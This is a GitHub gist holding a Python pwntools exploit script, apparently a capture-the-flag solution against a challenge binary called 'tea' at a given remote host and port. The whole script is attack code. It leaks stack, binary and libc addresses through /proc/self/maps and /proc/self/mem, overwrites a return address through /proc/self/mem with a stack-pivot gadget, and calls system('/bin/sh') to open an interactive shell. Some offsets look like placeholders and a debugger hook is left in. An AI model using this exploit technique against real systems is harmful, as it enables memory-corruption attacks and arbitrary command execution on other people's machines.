Created
December 29, 2016 20:10
-
-
Save vesim987/e25737694d8267003bde95266d7db51c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
''' | |
~Gros&Vesim | |
''' | |
from pwn import * | |
import re | |
#context.log_level = 'debug' | |
BINARY_LOCATION = './tea' | |
LIBC_LOCATION = './' | |
REMOTE = 0 | |
DEBUG = 0 | |
BINARY = True | |
LIBC = False | |
if BINARY: | |
e = ELF(BINARY_LOCATION) | |
context.arch = e.arch | |
if REMOTE: | |
s = remote('104.155.105.0', 14000) | |
if LIBC: | |
libc = ELF(LIBC_LOCATION) | |
else: | |
if LIBC: | |
if context.arch == 'amd64': | |
libc = ELF('/usr/lib64/libc-2.22.so') | |
else: | |
libc = ELF('/lib/libc.so.6') | |
s = process(BINARY_LOCATION) | |
#if DEBUG: | |
def get_old_stack_address(): | |
s.readuntil("(r)ead or (w)rite access?") | |
s.sendline("r") | |
s.readuntil("filename?") | |
s.sendline("/proc/self/maps") | |
s.readuntil("lseek?") | |
s.sendline("0") | |
s.readuntil("count?") | |
s.sendline("4096") | |
s.recvuntil("bytes") | |
buf = s.recv(4096) | |
s.sendline("n") | |
stack = [k for k in buf.splitlines() if '[stack]' in k][0] | |
addr_range = stack.split(' ')[0].split('-') | |
return (int(addr_range[0], 16), int(addr_range[1], 16)) | |
def get_bin_address(): | |
s.readuntil("(r)ead or (w)rite access?") | |
s.sendline("r") | |
s.readuntil("filename?") | |
s.sendline("/proc/self/maps") | |
s.readuntil("lseek?") | |
s.sendline("0") | |
s.readuntil("count?") | |
s.sendline("4096") | |
s.recvuntil("bytes") | |
buf = s.recv(4096) | |
s.sendline("n") | |
stack = [k for k in buf.splitlines() if '/tea' in k][0] | |
#stack = [k for k in buf.splitlines() if '/home/user/chal' in k][0] | |
addr_range = stack.split(' ')[0].split('-') | |
return (int(addr_range[0], 16), int(addr_range[1], 16)) | |
def get_libc_address(): | |
s.readuntil("(r)ead or (w)rite access?") | |
s.sendline("r") | |
s.readuntil("filename?") | |
s.sendline("/proc/self/maps") | |
s.readuntil("lseek?") | |
s.sendline("0") | |
s.readuntil("count?") | |
s.sendline("4096") | |
s.recvuntil("bytes") | |
buf = s.recv(4096) | |
s.sendline("n") | |
stack = [k for k in buf.splitlines() if 'libc' in k][0] | |
#stack = [k for k in buf.splitlines() if '/lib64/libc-2.23.so' in k][0] | |
addr_range = stack.split(' ')[0].split('-') | |
return (int(addr_range[0], 16), int(addr_range[1], 16)) | |
def get_new_stack_address(): | |
s.readuntil("(r)ead or (w)rite access?") | |
s.sendline("r") | |
s.readuntil("filename?") | |
s.sendline("/proc/self/maps") | |
s.readuntil("lseek?") | |
s.sendline("0") | |
s.readuntil("count?") | |
s.sendline("4096") | |
s.recvuntil("bytes") | |
buf = s.recv(4096) | |
s.sendline("n") | |
for line in buf.splitlines(): | |
if len(line) < 30: | |
continue | |
addr_range = line.split(' ')[0].split('-') | |
addr_range = (int(addr_range[0], 16), int(addr_range[1], 16)) | |
if (addr_range[1] - addr_range[0]) == 0x100000000000: | |
return addr_range | |
exit(1) | |
return (int(addr_range[0], 16), int(addr_range[1], 16)) | |
def memleak(begin=0x0, end=0xFF): | |
size = end-begin | |
log.info("memleak(" + hex(begin) + ", " + hex(end) + ")") | |
s.sendline("r") | |
s.readuntil("filename?") | |
s.sendline("/proc/self/mem") | |
s.readuntil("lseek?") | |
s.sendline(str(begin)) | |
s.readuntil("count?") | |
s.sendline(str(end-begin)+"AAAAAAA") | |
sleep(0.5) | |
s.recvuntil("bytes") | |
buf = '' | |
first = 1 | |
while len(buf) < size - 2048: | |
buf += s.recv(size-len(buf)) | |
if first: | |
s.sendline("n") | |
first = 0 | |
#print str(len(buf)) + "/" + str(size) | |
if first == 1: | |
s.sendline("n") | |
return buf | |
old_stack_range = get_old_stack_address() | |
new_stack_range = get_new_stack_address() | |
bin_addr = get_bin_address()[0] | |
libc_addr = get_libc_address()[0] | |
log.info("old_stack_start: " + hex(old_stack_range[0])) | |
log.info("old_stack_end: " + hex(old_stack_range[1])) | |
log.info("new_stack_start: " + hex(new_stack_range[0])) | |
log.info("new_stack_end: " + hex(new_stack_range[1])) | |
log.info("bin_addr: " + hex(bin_addr)) | |
log.info("libc_addr: " + hex(libc_addr)) | |
old_stack = memleak(old_stack_range[1] - 0xFFFF, old_stack_range[1]) | |
offset = 0 | |
for offset in xrange((old_stack_range[1] - old_stack_range[0]) - 8): | |
address = u64(old_stack[offset:offset+8]) | |
if address == new_stack_range[0]: | |
break | |
new_stack_offset = u64(old_stack[offset-32:offset-32+8]) | |
log.info("new_stack_offset: " + hex(new_stack_offset)) | |
new_stack_start = new_stack_range[0] + new_stack_offset | |
log.info("new_stack_start: " + hex(new_stack_start)) | |
stack = memleak(new_stack_start - 0xFFF, new_stack_start) | |
#print hexdump(stack) | |
buffer_address = stack.index("AAAAAAA") - 4 + new_stack_start - 0xFFF | |
log.info("buffer_address: " + hex(buffer_address)) | |
read_return_offset = -0x18 | |
read_return_address = buffer_address + read_return_offset | |
log.info("read_return_address: " + hex(read_return_address)) | |
s.sendline("r") | |
s.readuntil("filename?") | |
context.terminal = ['konsole', '-e'] | |
breakpoints = ["*0x555555555f3e"] | |
gdb.attach(s.proc.pid+1 , exe=BINARY_LOCATION, execute='\n'.join(['b '+x for x in breakpoints])) | |
s.sendline("/proc/self/mem") | |
s.readuntil("lseek?") | |
s.sendline("0") | |
s.readuntil("count?") | |
s.sendline("30"+ | |
"A"*(0x30-2)+ #padding | |
p64(0)+ #fd | |
p64(read_return_address-1)+ | |
"/bin/sh") | |
pivot = bin_addr + 0x00000000000024a3 | |
bin_sh = buffer_address + 0x30 + 0x8*2 - 1 | |
system = libc_addr + 0xFFF | |
s.sendline(p64(pivot)+ | |
p64(bin_sh)+ | |
p64(system)+ | |
p64(system)) | |
s.recvuntil("bytes") | |
print s.recv(1024) | |
s.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment